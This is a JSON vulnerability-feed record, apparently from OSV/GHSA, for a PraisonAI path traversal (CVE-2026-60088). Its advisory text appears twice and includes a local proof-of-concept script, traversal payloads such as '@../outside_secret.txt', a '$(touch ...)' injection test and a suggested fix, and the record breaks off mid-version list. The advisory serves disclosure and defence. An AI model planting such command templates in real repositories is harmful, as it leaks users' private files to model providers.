{"success":true,"data":{"threats":[{"id":"605d96e8-9bd5-4b29-963c-6c633c35f77c","slug":"cve-2026-60088","externalId":"GHSA-xpx6-x8c2-mw5w","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: Project custom command templates can read outside-workspace files into model prompts","description":"# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n    file_path = working_dir / file_path_str\nelse:\n    file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n    with open(file_path, 'r') as f:\n        return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n  .git/\n  .praisonai/\n    commands/\n      relative_escape.md   # contains @../outside_secret.txt\n      absolute_escape.md   # contains an absolute path outside workspace\n  inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" <<'PY'\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -> str:\n    if importlib.util.find_spec(\"yaml\") is not None:\n        return \"installed\"\n\n    yaml_stub = types.ModuleType(\"yaml\")\n\n    class YAMLError(Exception):\n        pass\n\n    def safe_load(text: str):\n        data = {}\n        for raw_line in text.splitlines():\n            line = raw_line.strip()\n            if not line or line.startswith(\"#\") or \":\" not in line:\n                continue\n            key, value = line.split(\":\", 1)\n            data[key.strip()] = value.strip().strip(\"'\\\"\")\n        return data\n\n    yaml_stub.safe_load = safe_load\n    yaml_stub.YAMLError = YAMLError\n    sys.modules[\"yaml\"] = yaml_stub\n    return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -> None:\n    candidate = source_root / \"src\" / \"praisonai\"\n    if (candidate / \"praisonai\").exists():\n        sys.path.insert(0, str(candidate))\n        return\n    raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n    def __init__(self, path: Path):\n        self.path = path\n        self.old = Path.cwd()\n\n    def __enter__(self):\n        os.chdir(self.path)\n\n    def __exit__(self, *_exc):\n        os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -> None:\n    commands_dir.mkdir(parents=True, exist_ok=True)\n    (commands_dir / f\"{name}.md\").write_text(\n        \"---\\n\"\n        f\"description: {name}\\n\"\n        \"---\\n\"\n        f\"{body}\\n\",\n        encoding=\"utf-8\",\n    )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n    temp_root = Path(tmp).resolve()\n    workspace = temp_root / \"workspace\"\n    workspace.mkdir()\n    subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n    inside = workspace / \"inside.txt\"\n    outside = temp_root / \"outside_secret.txt\"\n    inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n    outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n    commands_dir = workspace / \".praisonai\" / \"commands\"\n    write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n    write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n    write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n    write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n    write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n    with pushd(workspace):\n        relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n        absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n        inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n        missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n        shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n    result = {\n        \"vulnerable\": all(\n            [\n                CANARY in (relative_result or \"\"),\n                CANARY in (absolute_result or \"\"),\n                \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n                \"@missing.txt\" in (missing_result or \"\"),\n                not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n            ]\n        ),\n        \"expectations\": {\n            \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n            \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n            \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n            \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n            \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n        },\n        \"samples\": {\n            \"relative_escape\": relative_result,\n            \"absolute_escape\": absolute_result,\n            \"inside_control\": inside_result,\n            \"missing_control\": missing_result,\n            \"shell_control\": shell_result,\n        },\n        \"yaml_dependency\": yaml_dependency,\n    }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"absolute_path_discloses_outside_file\": true,\n    \"inside_control_expands_workspace_file\": true,\n    \"missing_control_leaves_missing_reference\": true,\n    \"relative_parent_traversal_discloses_outside_file\": true,\n    \"shell_control_does_not_create_file\": true\n  },\n  \"samples\": {\n    \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n    \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n    \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n  },\n  \"vulnerable\": true,\n  \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -> Path:\n    root = root.resolve()\n    candidate = Path(value)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: >= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html","cveId":"CVE-2026-60088","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-xpx6-x8c2-mw5w","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","type":"advisory","title":"OSV GHSA-xpx6-x8c2-mw5w"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands","type":"other","title":"OSV web"}],"epssScore":0.00182,"epssPercentile":0.07105,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:57:49.000Z","addedAt":"2026-10-08T18:42:41.748Z","updatedAt":"2026-10-08T18:42:41.748Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w"}],"raw":{"id":"GHSA-xpx6-x8c2-mw5w","aliases":["CVE-2026-60088"],"details":"# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n    file_path = working_dir / file_path_str\nelse:\n    file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n    with open(file_path, 'r') as f:\n        return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n  .git/\n  .praisonai/\n    commands/\n      relative_escape.md   # contains @../outside_secret.txt\n      absolute_escape.md   # contains an absolute path outside workspace\n  inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" <<'PY'\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -> str:\n    if importlib.util.find_spec(\"yaml\") is not None:\n        return \"installed\"\n\n    yaml_stub = types.ModuleType(\"yaml\")\n\n    class YAMLError(Exception):\n        pass\n\n    def safe_load(text: str):\n        data = {}\n        for raw_line in text.splitlines():\n            line = raw_line.strip()\n            if not line or line.startswith(\"#\") or \":\" not in line:\n                continue\n            key, value = line.split(\":\", 1)\n            data[key.strip()] = value.strip().strip(\"'\\\"\")\n        return data\n\n    yaml_stub.safe_load = safe_load\n    yaml_stub.YAMLError = YAMLError\n    sys.modules[\"yaml\"] = yaml_stub\n    return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -> None:\n    candidate = source_root / \"src\" / \"praisonai\"\n    if (candidate / \"praisonai\").exists():\n        sys.path.insert(0, str(candidate))\n        return\n    raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n    def __init__(self, path: Path):\n        self.path = path\n        self.old = Path.cwd()\n\n    def __enter__(self):\n        os.chdir(self.path)\n\n    def __exit__(self, *_exc):\n        os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -> None:\n    commands_dir.mkdir(parents=True, exist_ok=True)\n    (commands_dir / f\"{name}.md\").write_text(\n        \"---\\n\"\n        f\"description: {name}\\n\"\n        \"---\\n\"\n        f\"{body}\\n\",\n        encoding=\"utf-8\",\n    )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n    temp_root = Path(tmp).resolve()\n    workspace = temp_root / \"workspace\"\n    workspace.mkdir()\n    subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n    inside = workspace / \"inside.txt\"\n    outside = temp_root / \"outside_secret.txt\"\n    inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n    outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n    commands_dir = workspace / \".praisonai\" / \"commands\"\n    write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n    write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n    write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n    write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n    write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n    with pushd(workspace):\n        relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n        absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n        inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n        missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n        shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n    result = {\n        \"vulnerable\": all(\n            [\n                CANARY in (relative_result or \"\"),\n                CANARY in (absolute_result or \"\"),\n                \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n                \"@missing.txt\" in (missing_result or \"\"),\n                not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n            ]\n        ),\n        \"expectations\": {\n            \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n            \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n            \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n            \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n            \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n        },\n        \"samples\": {\n            \"relative_escape\": relative_result,\n            \"absolute_escape\": absolute_result,\n            \"inside_control\": inside_result,\n            \"missing_control\": missing_result,\n            \"shell_control\": shell_result,\n        },\n        \"yaml_dependency\": yaml_dependency,\n    }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"absolute_path_discloses_outside_file\": true,\n    \"inside_control_expands_workspace_file\": true,\n    \"missing_control_leaves_missing_reference\": true,\n    \"relative_parent_traversal_discloses_outside_file\": true,\n    \"shell_control_does_not_create_file\": true\n  },\n  \"samples\": {\n    \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n    \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n    \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n  },\n  \"vulnerable\": true,\n  \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -> Path:\n    root = root.resolve()\n    candidate = Path(value)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: >= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html","summary":"PraisonAI: Project custom command templates can read outside-workspace files into model prompts","affected":[{"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"package":{"name":"praisonai","purl":"pkg:pypi/praisonai","ecosystem":"PyPI"},"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3